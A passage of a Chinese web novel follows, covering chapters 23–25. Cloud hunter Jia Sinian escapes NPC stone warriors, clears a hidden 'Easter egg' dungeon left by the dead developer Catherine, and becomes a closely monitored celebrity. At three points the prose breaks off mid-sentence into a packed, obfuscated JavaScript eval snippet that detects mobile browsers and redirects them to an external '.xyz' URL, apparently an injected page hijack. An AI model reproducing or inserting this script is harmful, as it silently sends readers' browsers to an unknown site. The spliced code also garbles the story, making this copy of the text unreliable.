里奥跌坐在地上发抖,被贾思年一把拉了起来,三人在林间快速地奔跑,但没过多久,里奥便体力不支,摔倒在地。 “贾!”她大声呼喊。 巨大的石剑从身后挥来,贾思年想要拉起里奥,却为时已晚。 “救命!”里奥惊恐地看着石剑砸下。 然而,石剑从里奥的上空掠过,竟直直地向贾思年冲来。 金属的鞭子忽然出现在了贾思年手上,像蛇一样缠上了石剑,贾思年被甩到了空中。 “又搞歧视!只打我是吧?” 它们的目标恐怕只有她背包里的瓶子。 “你带着里奥快跑!我们在出口汇合!”贾思年冲着林奈大喊。 “好!”林奈扶起里奥,拉着她向山谷跑去。 “好了,让我来看看你是何方神圣。”贾思年的手中出现了另一把钩锁,钩锁落在了前方的树上,她在空中向前荡去。她回头盯着视野里的识别组件,上面的方框在疯狂闪烁,最终把眼前巨大的石武士标记成了“人工智能体”。 是NPC。 居然是NPC? 贾思年有点惊讶。上载世界有很多危险或无聊的工作都是由人工智能体来做的,它们就是这个世界的NPC,它们没有情绪,也不会抱怨,只是依照设定机械地运行。 主动攻击人类的NPC? 这里根本就是漏洞陷阱吧! 贾思年心中一紧,如果是陷阱,林奈的境况就非常危险了,不管怎么样,她决定先砍一刀再说,于是借着惯性向着石武士荡去,她手上的钩锁瞬间变成了一把砍刀,她用尽全力向着眼前巨大的NPC抡去。 石武士迅速挥出石剑,竟格挡住了贾思年的刀,电光火石之间,贾思年被巨大的反作用力击飞。 而石剑未损分毫。 贾思年重重地摔在树林里,金色的铠甲附在她的身上,但她还是觉得内脏好像要被撞碎了。 可恶,这么傻大个的东西反应怎么还这么快! 刀在空中变成了铁鞭,又一次回到了贾思年手中,铁鞭缠上了巨大的石剑,贾思年借力一跃而起,她在空中调整角度,急速落在了石武士的肩头。 巨大的机械拳套拉足了马力,贾思年向着身下的石武士重重砸去。 她的双臂被震得生疼,身下的石块却纹丝未动。 大哥!你开挂了吧! 这还打个屁啊! 其他的石武士这时也追了上来,它们围住了贾思年脚下的同伴,十几把石剑同时向她劈来。 贾思年立刻跳了下去,钩锁挂在了前方石武士的躯干上,她从它的双腿之间荡了过去。它们的石剑顷刻落下,把贾思年刚刚砸过的NPC劈了个粉碎。 好好好,今天高低是要弄死我是吧? 23. 沼泽里的国家(完) 贾思年立刻向着远方的树林荡去,不出所料,刚刚被她借过力的石武士也立刻被其他NPC劈碎,巨大的落石拖慢了它们的脚步,贾思年立刻开始在树林里飞奔。 两边的树林越来越稀疏了,她已经没办法再像猴子一样在树林里荡来荡去,石武士们摆脱了落石,巨大的轰响和震动向她袭来。 好烦啊!怎么这么执着啊! 贾思年迅速用掉了背包里的精神强化剂,突然迸发的强化组件让她变得更加迅捷,她用钩锁向远处的树木借力,像一只俯冲捕猎的猛禽。 突然,一把巨大的石剑向贾思年飞来,她猛地拉紧钩锁向一旁闪躲,然后立刻滚落在地,她没空去在意疼痛,连滚带爬地起身继续向前飞奔。 更多的石武士开始投掷石剑,贾思年在巨石和被砍倒的树之间艰难地闪躲,她已经能看到远方闪着蓝色磷光的路了。 忽然一把石剑砸下,山一样的拦住了她的去路,金属的鞭子迅速缠住了石剑的剑柄,开始收缩,把她向着顶端拉去,贾思年在石剑顶端奋力向前跃去,她四脚着地,机械手套尽全力提供缓冲,但她的躯体仍然遭受了巨大的冲击。 她像个皮球一样,被反作用力又一次击飞到了天上,最后重重地摔了下去。 贾思年摔在闪着蓝色磷光的路中央。 石武士奔跑的巨大声响戛然而止。 混乱地插在地上的石剑缓缓变成了破碎的像素颗粒,逐渐消失在视野中,林地里的树被砸得东倒西歪,地面上只留下了被石剑砸出的大大小小的深坑。 XX的,吓死老子了。 可算是不追了。 贾思年身上的情绪体武器都收回了背包,金色的铠甲变成了绷带,把她从头到脚缠了一圈。 她躺在地上,看着晴朗无云的蓝天,终于松了一口气。 石武士们移动的轰响和震动又一次出现了,只不过这次在逐渐远离。 过了一会儿,树林里又恢复了最初的静谧。 “贾!”是林奈的声音。 “你怎么样?你还好吧?”林奈看着被绷带裹成粽子的贾思年,急忙跑了过来。 “没事,没事……”贾思年呲牙咧嘴地撑起了上半身,看到林奈一脸担忧,她冲他笑了笑。 然后她看到了同样一脸担忧的里奥。 视野里的识别组件闪烁,最终定格。 “人工智能体”。 果然是这样。 沼泽里,原来是一个NPC的国家。 贾思年抓着林奈勉强站了起来。 “我们走,前面就可以出去了。” 林奈架着贾思年的肩膀沿着路向前,三人很快在道路的前方看见了普罗菲塔的青铜大门。 贾思年扶着林奈一瘸一拐地走出了大门,她向身后的里奥伸出手去。 这样就可以……离开了吗? 里奥忽然觉得慌乱,她曾经那么渴望了解外面的世界,现在这个机会就在她的眼前了,她竟觉得有一丝胆怯。 “别勉强,如果你后悔了,随时都可以回去。”她听见贾思年的声音。 后悔……吗? 里奥摇摇头,这种感觉并不是后悔。 “那就别怕。”贾思年站在阳光里,笑着对她说。 里奥抓住了她的手,又一次被拉到了阳光下。 刹那间,巨量的信息仿佛惊涛骇浪,涌进了里奥的大脑,她看到了科斯塔洲破碎的大陆,看到劳拉西亚洲的山川和平原,她看到了这一切的影像被瓦解成了无数微小的像素,随着网络和无线电波来到了近地轨道上的服务器中。 她看见了这个破败不堪的巨大星球。 人们在地下社区仿佛行尸走肉,却把上载世界当做是精神家园。 里奥呆呆地站在原地,早已泪流满面。 原来整个普罗菲塔,不过是有人对一个神话故事的模拟。 原来自己,也不过是上载世界里一个最无关紧要的NPC。 “里奥……你还好吗?”林奈伸出手,在她面前摆了摆。 里奥回过神来,擦掉了脸上的泪水,她的眼睛忽然变得坚定又锐利,“贾,林奈,谢谢你们带我到这里,可惜我们就要在此分别了。” “你不和我们一起离开吗?”林奈有点惊讶。 “我要留下,有人还在等着我。”里奥回答。 “可是……”林奈想不通。 “林奈,我们走吧。”贾思年打断了他的话。 “再见里奥,祝你好运。”她关掉了识别组件,看着里奥的眼睛,看到她的眼睛像黑曜石一般明亮。 “再见,也祝你们好运。”里奥退到了青铜的大门里,大门再次无声地关上,顷刻便消失了。 你我一定会再次相见的。 里奥望着空荡荡的林地。 她转身向着普罗菲塔的方向走去。 …… 昏暗的宫殿里,霍塔加·奥科霍利的面前无声地上演着大门前的一切。 “您就这样放他们离开了?”希尔的声音有些不自在。 “该回来的自会回来,希尔。”霍塔加的声音有些颤抖,听起来异常兴奋。 “希尔,是哥哥回来了!” “您难道是说……斯尼萨曼小姐吗?” 希尔简直不敢相信自己的耳朵,“她还是个孩子啊国王陛下!” “是哥哥啊希尔!哥哥回来了!”霍塔加蓝色的眼睛里又一次燃起了妖异的火。 不。 希尔感到世界在崩塌。 霍塔加是疯了吗? 他这些年的苦心经营,难道全都要毁在一个小女孩的手里了吗? 他怎么可能允许这样的事情发生! “那真是恭喜陛下了。” “我还有事要办,先退下了。”希尔俯身鞠躬,眼底露出寒芒。 …… 林奈正看着空空如也的地面发呆。 “走吧林奈。”贾思年对他说道。 “哦。”林奈有点恍惚,“里奥她……究竟是什么?” “是人工智能体,就是NPC。”贾思年被林奈架着,向着出口走去。 “NPC吗……”林奈若有所思,“你为什么不带她走呢?” “在金港,她可以知道全世界所有的信息,她会是下一个先知拉斐特吧?”林奈看着地面。 “是她自己要留下的,我总不能给人家捆了去吧。”贾思年看到了前方的大海,周围的植物逐渐变得稀疏,他们终于来到了快艇旁。 “更何况在金港听到的消息,又有哪些是真实的呢?” 贾思年憋着一口气,忍着疼痛爬上了快艇。 忽然,她的视野里竟然出现了一行滚动的红字: “热烈庆祝用户贾思年8261首次完成彩蛋副本:世界的起源!彩蛋将立刻在上载世界随机重置,期待与大家再次相见!” 这又是什么东西啊? 贾思年震惊。 “贾……我的视野里,这是什么……”刚爬上船的林奈睁大了眼睛,迷茫地望着贾思年。 …… 上载集团内。 詹娜正坐在办公室里飞速地敲打键盘,她的视野里忽然出现了一行红字开始滚动,她以为自己眼花了,忽然又意识到这里是上载世界,她看着红字上的内容,愣住了。 她立刻在公司频道里呼叫席尔,对方立即接入了通话。 “……这是什么东西?”詹娜努力克制着声音里的颤抖。 “我正要跟你联系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537552|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,整个上载世界所有用户的视野里,和各个地下社区的屏幕和投影里,现在全在广播这段话,我们刚刚试图寻找这个广播的源头,但只找到了一个虚假的IP地址。”席尔回答道。 詹娜看了一眼席尔发来的那串数字,好像有什么东西在瞬间轰然倒塌。 她对这串数字实在是太熟悉了。 几个月前,她还在远程登录这台主机,检查里面有用的信息。 这是凯瑟琳的IP地址。 通话的铃声再次响起,是斯诺在请求接入,詹娜选择了同意加入,立刻听到了斯诺急躁的声音。 “这是怎么回事?”他质问道。 “是凯瑟琳。”席尔回答道。 “你们知道这个什么彩蛋里到底发生了什么吗?”斯诺问道。 “不知道,相关的内容立刻开始逃逸了,这恐怕只能去问这个首通的用户。”席尔回答。 “那就把这个用户找到!不管怎么样,都要让他把里面的内容吐出来!”斯诺的声音逐渐气急败坏。 “这个该死的女人,死了都不能安分!”他愤怒地退出了通话。 通话里只剩下席尔和詹娜的沉默。 “你打算怎么办?”席尔的话打破了沉寂。 “不管怎么说,得知道这个彩蛋里究竟是什么,不能让一个未知的东西在服务器里乱窜。”詹娜尽量让自己的声音听起来正常。 “詹娜,我们只是做了自己该做的事情。” 詹娜知道席尔在安慰她。 “嗯,是的。”她心中五味杂陈。 “找这个用户对账的事,我会跟斯诺重新沟通,让他交给霍滕西亚去做吧。”席尔说道。 “霍滕西亚……是不是有点……”詹娜有些犹豫,虽然一个云端猎人在她看来无足轻重,但是大部分时间她还是想当个好人。 “詹娜,我们只需要做自己该做的事情。”席尔打断了她。 “在所有人中,我始终更认同你的观点,詹娜,上载世界需要继续发展下去。” “你说得对,席尔。”詹娜恢复了平静。 …… 贾思年仰面躺在甲板上。 滚动的红字终于消失了,她调出了背包想找点体力补剂,却发现里面多出了一个信封,她选择打开,一封信展开在她的视野里。 “亲爱的首通用户: 你好,我是彩蛋的作者凯瑟琳。 首先恭喜你通过了彩蛋副本,其次我也对此感到抱歉,这件事大概率会打扰到你今后平稳的生活。不过鉴于你在副本中的优秀表现,也许很多问题在你这里都能迎刃而解。 为了打造沉浸式体验,你的一些记忆被AI进行了修饰,所以你在副本中会坚信自己是可以封闭头脑的‘影族人’,这些记忆将会在一周内逐渐淡化,不会影响你的正常生活。 最后,我还有一份礼物送给你,此刻已经下发至你的背包,选择即可生效。 当你看见这封信时,我应该已经死了,但是终有一天,真相会重见天日,愿真相与你,皆拥有光明的未来。 阅后即焚。 凯瑟琳·奥克利” 真相?什么真相? 还有……被AI修饰的记忆? 这是什么谜语人? 贾思年挠了挠头,又仔细读了两遍,还是一头雾水,她关闭了信件,它立刻从背包里消失了,取而代之的是一个瓶子。她记得这个瓶子,这是副本中的水神送给她的东西。 她调出了那个瓶子,瓶子上标注着“凯瑟琳的礼物”,打开后,瓶中的液体忽然消失了,瓶子上立刻被打上了“已生效”的标签。 已生效?什么东西生效了? 贾思年忽然觉得天旋地转。 她晕了过去。 24. 大明星:贾思年8261 夏日,蝉鸣。 贾思年蹲在院子前的小山坡上,在大树的阴凉底下挖泥巴。 接近正午了,她觉得肚子有点饿,她抬起头望着家的方向,看见一个穿黑衣服的女人走进了院子。 贾思年看着她的背影,觉得熟悉又陌生,女人敲了敲门,过了一会儿,妈妈打开了门。 那个女人面对妈妈摘下了面罩,妈妈瞬间露出了惊恐的表情,贾思年猛地站了起来,紧张地看着妈妈和那个女人的背影。 但是妈妈却慌忙地邀请那个女人进入了家中。 妈妈的朋友吗? 可妈妈为什么看起来很害怕? 贾思年搓了搓手掌上的泥,向着家的方向走去。 贾思年在睡梦中摇晃着醒来,发现自己正在妈妈的怀里,妈妈穿了一身黑色的衣服,贾思年迷迷糊糊地向周围望去,发现她们似乎正在一辆火车上,贾思年看到车窗,向外望去,看到昏暗的天空下,排列着巨大的高层水泥建筑。 “妈妈,我们这是去哪?”她有些害怕。 “去一个你没有去过的地方,在那里,你会开启新的人生。” 没有一丝温度。 妈妈的语气和眼神都让她觉得陌生,贾思年盯着妈妈的脸,她确定那就是妈妈的样貌,但是除此之外,妈妈的一切好像都与过去不同。 妈妈留她在阴暗潮湿的街上稍作休息。 妈妈不见了。 贾思年跑进附近的巷子里寻找妈妈的身影,狭窄昏暗,空无一人,她不敢跑得太远,时不时就要折返到原来的地方,看看妈妈有没有忽然回来。 气温很低,她却跑得满头大汗。 昏暗的巷子仿佛无穷无尽,贾思年在它们之间穿梭,她觉得眼前的路刚刚好像走过,但又觉得似乎有哪里不同。 她迷路了。 妈妈不见了。 贾思年猛地睁开了眼睛。 昏暗的房间里,眼前是挂着节能灯的天花板,贾思年躺在床上,大脑一片空白,过了半晌,她才意识到这里是自己在十三号联合社区的家。 她觉得浑身无力,但还是挣扎着坐了起来。 她的头忽然传来一阵钻心的疼痛。 痛痛痛……她一只手抵着额头。 ……好像是在上载世界晕过去了? 贾思年听到一阵脚步声。是安娜,门没有锁,她向着门外望去。 “太好了,你终于醒了。”看到贾思年坐在床上,安娜的眉间舒展,她一手拿着水杯,另一手抓了一把花花绿绿的营养液。 “喝点水吧。”她把水杯递给贾思年。 “既然醒了就不吃这些了,我去楼下煮东西给你吃。”她把营养液放在了接入仓旁边的柜子上,转身正要离开。 “你先等一下。”贾思年握住了安娜纤细的手腕。 “我是睡着了吗?发生了什么事情?” “唔……你大概睡了十几个小时吧。”安娜看着她,面露担忧。 “昨天半夜,林奈先生突然联系了我,他说你体力值清空失去意识了,让我帮你强行下线。” 贾思年低头看着自己身上干净柔软的睡衣,“原来是体力值清空了啊……谢谢你安娜。” “林奈呢?他怎么样?” “嗯……不好说。”安娜皱着眉,无奈地回答,“贾,你现在可是十三区,不对,应该说是全世界的大明星了。你的电话从昨天晚上的广播之后就一直响个不停,我已经帮你关机了。” “林奈先生那边我不清楚,但他是你的助手这事应该一查就可以知道,这会儿估计也在应付采访的邀请呢。” 安娜轻轻脱开了贾思年的手,从床头柜上拿了手机递给她。 贾思年看着笔状的手机,突然想起了“精灵查克”的移动电话。 她甩了甩头,试图把注意力集中在眼前的事情上。 “什么大明星?”她问道。 “当然是彩蛋的首通呀,昨天晚上,所有人的屏幕和投影里都在广播用户贾思年8261通过了上载世界的彩蛋。” “广播整整持续了三分钟,所有人应该都看见了。” “……你不记得了吗?”安娜有些疑惑,但看起来更多是担忧。 地下社区也在广播吗?贾思年皱起了眉毛。 “我记得,我还以为只有上载世界在广播,没想到所有人都看见了。” “这是好事呀,贾,阿梅利亚王女……” “安娜。”贾思年重重地打断了她,“嘘。”她伸出食指放在嘴前。 “哦……对不起……”安娜低着头,看着自己的拖鞋,好像一只做错了事的小鹿犬缩在角落。 “唉……”贾思年用手背碰了碰她的胳膊,她最受不了安娜这副样子,“多大点事,快别说这些了,不是说要煮东西给我吃吗,我要饿死啦。” “所以彩蛋里是什么呢?” 昏黄的节能灯下,安娜双手拖着脸,看着贾思年专心地嗦着碗里的面条,小心翼翼地问道。 “是你们的神话故事。”贾思年嘴里塞满了食物,嘟嘟囔囔地回答。 “拉斐特的故事,彩蛋里模拟了拉斐特的故乡,说拉斐特是跑出来帮助人类的精灵,里面的其他精灵都是NPC。”贾思年吞下了一大口面条回答道。 “天呐……这不是正好和……”安娜不敢置信,但马上意识到自己又说了错话,立刻闭上了嘴巴。 “是的,你说的没错。”贾思年这次并没有制止她说下去。 “问题是……这也太招摇了,而且现在不得不招摇了。”她继续在碗里捞面条。 “你是说采访吗?如果不喜欢,不可以拒绝吗?” “当然不能啦,我住在下等社区,是一人打两份工的极品廉价劳动力,累死累活就为了赚钱去上载世界躺平,现在我是大明星啦,拒绝采访不是很奇怪吗。” “那你打算怎么办呢?” “当然是接受采访,先捞一笔钱,再对外宣称我要当网红啦,然后去地表拍冒险视频,做全息投影,这样就能名正言顺地去索罗甘洲了。”贾思年端起碗,吨吨吨地喝光了汤。 “总之就是,下等公民,就得下等公民该做的事。”她把碗放在桌子上。 安娜睁大了眼睛,为贾思年一本正经地说着自己疯狂的计划感到震惊。 “我能不能再吃一碗?”贾思年举起碗问道。 “啊,当然可以!我煮了很多。”安娜回过神来,拿过桌上的汤碗又一次走进了厨房。 没错,只能这样了,如果全世界都看到了那条广播,藏是藏不住的,拥有明星这个身份也许还会更加有利,那还不如好好利用起来。 何况彩蛋里正好讲的是维肯人的神话故事,适当的传播应该也对阿梅利亚王女有利。 唉,怎么有我这么全心全意替委托人着想的大善人啊。 贾思年开始在心里自我感动。 …… 上载世界,金港。 林奈躺在书房里的小床上,床边的虚拟场景里正在聒噪地播放着直播节目。 林奈的注意力完全没在节目上,只是呆呆地看着窗外的蓝天。 贾自从昨天傍晚醒来,就只给他发了消息报平安,她说她的手机里有好几百个未接电话,从明天开始她就要去接受采访当大明星了。 ……当明星吗? 林奈觉得有点怪,但又说不出哪里怪,如果能通过这样的方式赚到钱,贾也许就不用那么辛苦地工作了,但是他又觉得她似乎没想这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537553|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招摇,当红字广播出现在他的视野里时,他没看到她有惊喜的表情,相反的,他看到了很少能出现在她脸上的忧虑和惊吓。 林奈看着窗外飞过的海鸥,调出了自己的背包。 他调出背包里为数不多的一件物品,拿在手里把玩。 那是一把短剑,剑身泛着蓝色的光,他记得它,它曾经在雪山上救过他的命。 但这其实是凯瑟琳给他的礼物,凯瑟琳在他出来之后给了他一封信,信上说他丢失了很多东西,但她只能帮他恢复最重要的一件,于是他的背包里就多出了这把剑。 他很想让贾看看这个,可惜她醒来之后就没再接入过上载世界。 “接下来这位嘉宾,是最近轰动世界的明星,今天也是她首次公开露面。没错!我们邀请到了上载世界彩蛋副本的首通用户!贾思年贾女士!” “欢迎贾女士!” 林奈听到了熟悉的名字,转头在虚拟场景里看见了贾思年的脸。 贾思年看起来被精心打扮过,恰到好处的妆容既修饰了她的脸型和五官,又没有埋没她的英气,她穿着云端猎人的套装,干脆利落的裁剪衬出她挺拔的身姿和坚实的肩膀。 林奈看得有点发呆,猛地甩甩头意识到哪里不对。 这是在立什么人设啊! 老中青年妇女的偶像吗! 果不其然,直播间的评论开始刷了起来,几乎都是顶着女性ID的观众在狂刷星星眼和“好帅”。 林奈扶额,但醋意肆起。 贾才不喜欢女人呢! ……贾应该……不喜欢女人吧? “可以和大家说说,彩蛋里都发生了什么吗?” 林奈的抓狂被主持人的声音打断。 “是欧莱经书里的故事,彩蛋里是拉斐特的家乡,一些NPC在其中扮演精灵的角色。”贾思年在镜头前回答道。 “那么通关的条件是什么呢?”主持人继续发问。 “找回自己的记忆,然后找到来时的路。” “找回记忆?” “是的,进入彩蛋后,一些记忆会经过AI修饰,让人认为自己本来就属于一个充满魔法和精灵的异世界。” “天呐,这太新奇了!” “是的,从游戏的角度来说,确实是非常新奇的体验。” “听起来好有意思啊!”直播间又刷起了弹幕。 林奈看得一脸懵。 他不明白贾为什么要故意说得那么轻松,他现在回想起其中的遭遇,依然觉得后怕。 彩蛋里的NPC莫名其妙就把贾抓走关进了监狱,还有那些打不死的治安队员,林奈想起那些在地面上扭动的残肢,不由得觉得恶心。 至于被AI修饰的记忆……林奈没什么印象了,因为他本来就没什么记忆,也没什么好修饰的,反倒是在彩蛋里又想起了一些。 林奈想起小时候和妈妈一起去纳迪先生家拜师,惊讶地意识到那段记忆根本没有被篡改,记忆里的场景确实在某个地下社区。 失去的记忆再想起并不会被篡改,那么贾的记忆呢?会变成什么样呢? “您今后打算继续做云端猎人吗?”林奈听到主持人在发问。 “可能会暂停一段时间吧,我一直都希望能去地面旅行,打算借这个机会去看看,顺便可以记录一些旅行见闻。”林奈看着贾思年在节目里侃侃而谈。 “今后是想做旅行自媒体吗?” “有这个打算。”贾思年露出微笑。 贾不做猎人,也不开修理铺了吗? 林奈有点恍惚,但是又挑不出一点错处。 她一直都想去地面吗? 他忽然发现,自己对这个名叫贾思年的女孩,其实一点都不了解。 25. 所谓的真相和虚假的记忆 “感谢贾女士做客深度采访,我们明天同一时刻不见不散!” 贾思年对着摄影机微笑挥手。 晃眼的补光灯熄灭了。 “好!大家辛苦了!” 可算结束了。 贾思年松了一口气,感觉自己的魂都一起吐了出来。 自从贾思年从昏迷中醒来,采访、广告、直播,她几乎每天都像个陀螺一样被抽着到处转,对着不同的摄像头讲着相同的话。 贾思年一开始还是很得意的,毕竟是当大明星,然而折腾了几天之后,她就觉得这个钱似乎也没有想象中那么好赚。 这几天里,上载集团对她的关注与其说是关心,不如说是监视。她说出的每一句话都要经过集团审核,在采访中,她不得不戴上定制的耳机,一但AI预测她要说出什么不利于上载集团的话来,就会立刻制止她。 贾思年偷偷的厌烦,但是赚的钱恰好弥补了这一点。不过装样子做到这种程度,主要也是钱赚到这种程度,应该也够用了,接下来只需要发布声明开始地面旅行,就可以顺理成章地去索罗甘了。 贾思年喝空了广播台给她的瓶装水,戴上口罩和夹克衫后面的兜帽,打算从广播台的后门离开。 然而她一推门,就被外面的灯光晃得睁不开眼睛。 “是贾思年!” 粉丝和记者们惊呼,闪光灯此起彼伏地闪烁。 广播台的保安把人群整齐地隔在安全线之后,贾思年看着整齐的人墙,忽然想起了在地底中心被NPC治安队列队围住的场景,然后她想到了那些在蓝色血泊中蛆一样扭动的残肢。 咦—恶心! 贾思年干哕了一声,好在她戴着口罩,人群嘈杂,没人注意到她细微的变化。 唉,下班了还得营业,这个班还是下得不够彻底。 她的脸上立刻挂上了标志性的夸张笑容,她摘下口罩,热情地冲着人群打招呼。 “大家辛苦了,早点回去休息吧。”她一边挥手一边说道。 “贾女士!听说你很快要去地面旅行了,是真的吗?”有记者大声问道。 “是的。” “那我们还能在屏幕上看到你了吗?”粉丝的声音听起来难过得很夸张。 “当然可以!”贾思年停下脚步,“我会记录我的旅行,视频和全息投影会在社交媒体发布。” “太好啦!”面前的女孩看起来很激动。 贾思年一路职业假笑,冲着人群挥手,走到了停车场,上了上载集团给她准备的车。 呯的一声关上车门,贾思年立刻成了泄了气的皮球,这回是彻底下班了。 “回……修理铺。”她对着无人驾驶席说道。 “辛苦了,您今天的表现也非常好。”贾思年面前的屏幕忽然亮了起来,一个女人的投影出现在她旁边的座位上。 唉,又来了。 例行公事的审问,贾思年每天下班都会有这么一出在等着她。 “您前天参与拍摄的精神强化组件广告今天已经投放,效果很好,集团希望能跟您继续合作。” “我不想拍了,这几天赚的钱已经够我花一辈子了。”贾思年瘫在座椅上。 “所以您接下来只是打算去地面旅行?”女人消瘦干练的脸转过来对着她。 “目前只有这一个想法,其他的事以后再说吧。” “方便透露您打算去哪里吗?鲁米肯特雪原?”女人问道。 问问问,什么都要管,十三区的难民统计就应该让你来干!贾思年强忍着厌烦。 “嗯……没想好,但我不喜欢冷的地方,可能会去沙漠吧。”她偏过头回答。 “索罗甘?那里可不太安全。” “可除了沙漠和雪原,地面也没有别的地方可以去了。” “说的也是。”女人低下头,拿出了一份文件。 “这是根据您的回忆整理的彩蛋内容,您看一下,要是没什么问题,麻烦您在最后签字。” 贾思年拉过投影的文件,大致翻了翻。 “没什么问题。” 她在最后签下了自己的名字。 “好,如果您后续又想起了什么,麻烦再和我们联系。” “好的。” 上载集团的豪华轿车驶入了贾思年熟悉的脏乱街区,不一会儿她便看到了修理铺的招牌。 “贾的修理铺”。 今天真稀奇了,门外居然没有围追堵截的摄像头。 “跟你一起住的女孩今天已经搬到中心社区了,现在大家都以为你已经搬走了。”女人的投影说道。 安娜搬走了?这怎么现在搬我家都不需要通知我了?贾思年在心里翻白眼。 “谢谢,但这辆车就足够引人注目了。”贾思年冲她笑了笑,戴上兜帽下了车。 果不其然,贾思年一下车,就有穿着破烂的小孩围了上来,她身上没有现金,勉强从推搡中脱身。虹膜解锁了大门,她赶紧钻进修理铺把门关上。 贾思年靠在门上长舒了一口气,这帮小孩,简直是蝗虫过境。 她走进客厅,想了想还是打开了冰箱,抓了一把塑料包装的营养液。 修理铺的门打开了一条缝隙,一大把营养液从门缝里散落在门前的台阶上。 门前的小孩开始疯抢,贾思年迅速关上了门,隔着门板听着外面的吵嚷叫喊,她轻轻叹了一口气,脱掉鞋子,走进了客厅。 贾思年瘫在沙发上,眼神涣散地望着天花板,维持一整天的职业假笑让她觉得脸上的肌肉僵硬,她张大嘴巴,上嘴唇和下嘴唇在脸上打起了太极。她的眼神滑落到前面的桌子上,看见了上面倒扣着不锈钢盆的饭菜。 贾思年一下子从沙发上爬了起来,掀开倒扣的盆子,金属盆上还残留着饭菜的余温。 是安娜! 嘿嘿…… 贾思年一脸痴汉笑。 她是特意回来给我做饭吗? 贾思年拉开椅子坐下。 其实安娜不必这样麻烦的,反正贾思年胳膊腿齐全怎么也饿不死,安娜白天要去上护理学院的课,晚上还要去酒馆表演,贾思年觉得如果她再照顾自己的起居,实在是很辛苦。 但是安娜有自己的坚持,她总是表现得像不能在贾思年家里吃白饭一样。 贾思年想起她微微皱起的眉头和不知在跟谁较劲的嘴,轻轻地笑了。 由着她去吧。 她开始闷头扒饭。 贾思年拒绝了之后的所有采访邀约,明天终于可以躺平了,她觉得自己需要一些时间,来捋捋最近发生的一切。 凯瑟琳·奥克利那个谜语人在信里说的“真相”究竟是什么? 贾思年后来常常回想起副本里的情形,她大概看懂了,这个彩蛋肯定是想说个什么事,但是她完全搞不懂作者在说啥,至于里奥……她也不确定里奥后来的表现究竟是程序既定的,还是早就放飞自我了。 但她对上载集团的审讯始终真假参半地回答。 凯瑟琳死后通过这种莫名其妙的方式传递信息,大概率是什么有不能公开的秘密,所以贾思年只对外声称自己在彩蛋里的记忆被AI篡改了,她环游了和地下社区几乎一模一样的精灵社区,逐渐恢复了记忆就通关了。 这怎么能是说谎呢?这不说的全是事实嘛! 况且凯瑟琳也在信中提到过,“自己应该已经死了”,贾思年隐隐觉得,无论是她的死还是这个彩蛋,一切都像是早有预谋的。 凯瑟琳到底想说什么? 疯子国王利用民众供给整个国家? 这有什么好说的,哪里不都一样嘛。 贾思年对作者想要表达的中心思想嗤之以鼻。 而比起所谓的“真相”,反倒是那些“虚假的记忆”让贾思年更在意。 凯瑟琳说这些记忆会在一周内逐渐消失,但贾思年回忆里的画面却越来越清晰,AI为了沉浸式体验而为她量身定做的虚假记忆,竟让她觉得她的过去本来就该是这样的。 如果自己在六岁时没有被母亲遗弃。 贾思年一直觉得自己不属于这里,这是她连爷爷都未曾提起过的秘密。 她记忆里的故乡,本就在地面上,那里有深棕色的土地和高大的树木,空气里终年弥漫着湿润的气味,母亲和她住在一个用土和茅草盖起的房子里,院子里可以在夜晚看到满天的星星。 直到那个穿黑衣服的女人找到了她们。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537554|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贾思年忽然觉得一阵头痛。 虚假的记忆不但对她的生活造成了影响,而且她只要去深入回忆,就会陷入没完没了的头痛。然而她又没办法解决这个问题,因为这个程序根本没有售后服务,唯一的开发者已经死了。 XXX,贾思年觉得烦躁,把吃空的碗和盘子丢进了洗碗机。 她从口袋里拿出一瓶止疼药,倒出一片喝了下去。 有时间再慢慢想吧,现在最要紧的事,是给林奈的金属球装点东西上去。 唉,我到底是什么牛马命啊。贾思年一边揉着隐隐作痛的太阳穴,一边向着楼下的工作室走去。 贾思年打开墙壁上的开关,漆黑的屋子变得昏黄,工作室的正中央放着一个还挂着塑料薄膜的充电仓,里面装着最新款的受体机器人。她绕过充电仓,走到工作台,拆开台子上的包裹,这是今天刚到的电路板。 工作台上整齐地放着已经拆开的金属球部件,她打开桌子上的护眼灯,看着老旧屏幕上的电路板图,在金属球电路板上的几个引脚上焊出了几根线,然后把它们连到了新电路板的焊盘上。 贾思年从抽屉里取出两片薄如蝉翼的机械翅膀,把它上面的插头插在了新到的电路板上。她拨动桌子上的电源旋钮,打开开关,机械翅膀上亮起了绿色的小灯。 可以,不愧是我。贾思年很高兴,接下来只需要下载程序,再想办法把这些都塞进金属球外壳里,就大功告成了。 这样不管林奈想用什么当受体机器人,都方便一起出门了。 